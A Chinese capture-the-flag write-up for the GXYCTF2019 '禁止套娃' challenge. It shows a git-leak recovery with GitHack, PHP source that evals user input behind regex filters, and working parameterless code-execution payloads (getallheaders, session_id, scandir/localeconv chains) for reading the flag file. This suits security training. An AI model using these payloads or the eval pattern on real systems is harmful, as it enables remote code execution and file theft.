[GXYCTF2019]禁止套娃1
抓包没有任何回显
dirsearch扫描没扫到任何备份文件。
猜测git泄露,尝试/.git/ 403无权访问 确定为git泄露
githack扫描
python GitHack.py http://21450f58-dc93-423a-9283-87b932ad1ee4.node4.buuoj.cn:81/.git/
存在index.php文件
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
代码:
判断exp是否get传参,过滤data:// filter:// php:// phar:// 包括大小写
preg_replace替换 ((?R)?)/相当于无限递归,匹配()里[a-z,_]并替换成null 最后只剩下;
后过滤/et|na|info|dec|bin|hex|oct|pi|log/ 包含大小写
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
限制无法传参,即REC无参数注入
无参数REC 一般有三种绕过姿势:
gettallheaders()获取header以数组形式输出,配合implode()能够直接将getallheaders()返回的数组转化为字符串。implode(getallheaders());
姿势:url:?exp=eval(implode(getallheaders()));
在header中插入system('ls')//
原理:会执行payload
get_defined_vars() 获取所有的已定义变量且是二维数组,配合current函数可以返回数组中的单元且初始指针指向数组的第一个单元
session_id() ?exp=highlight_file( session_id(session_start()));
session_id()的作用就是获取当前会话的ID,cookie中phpsession,session 识别原因在构造前应先将语句转化为十六进制。hex2bin(session_id(session_start()));
网上流传的payload
构造payload :
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file:函数对文件进行语法高亮显示,等同于show_source
next:函数将内部指针指向数组中的下一个元素,并输出。
array_revers:函数以相反的元素顺序返回数组
scandir:内置函数,用于返回指定目录的文件和目录。
pos:内置函数用于返回内部指针当前指向的数组中元素的值
localeconv() 小数点字符
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
array_rand:函数返回数组中的随机键名,或者规定函数返回不只一个键名,则返回包含随机键名的数组
array_flip:反转数组中所有的键以及它们关联的值,相等于array_revers
current:函数返回数组中当前元素的值
原理方式依据最开始 REC无参数注入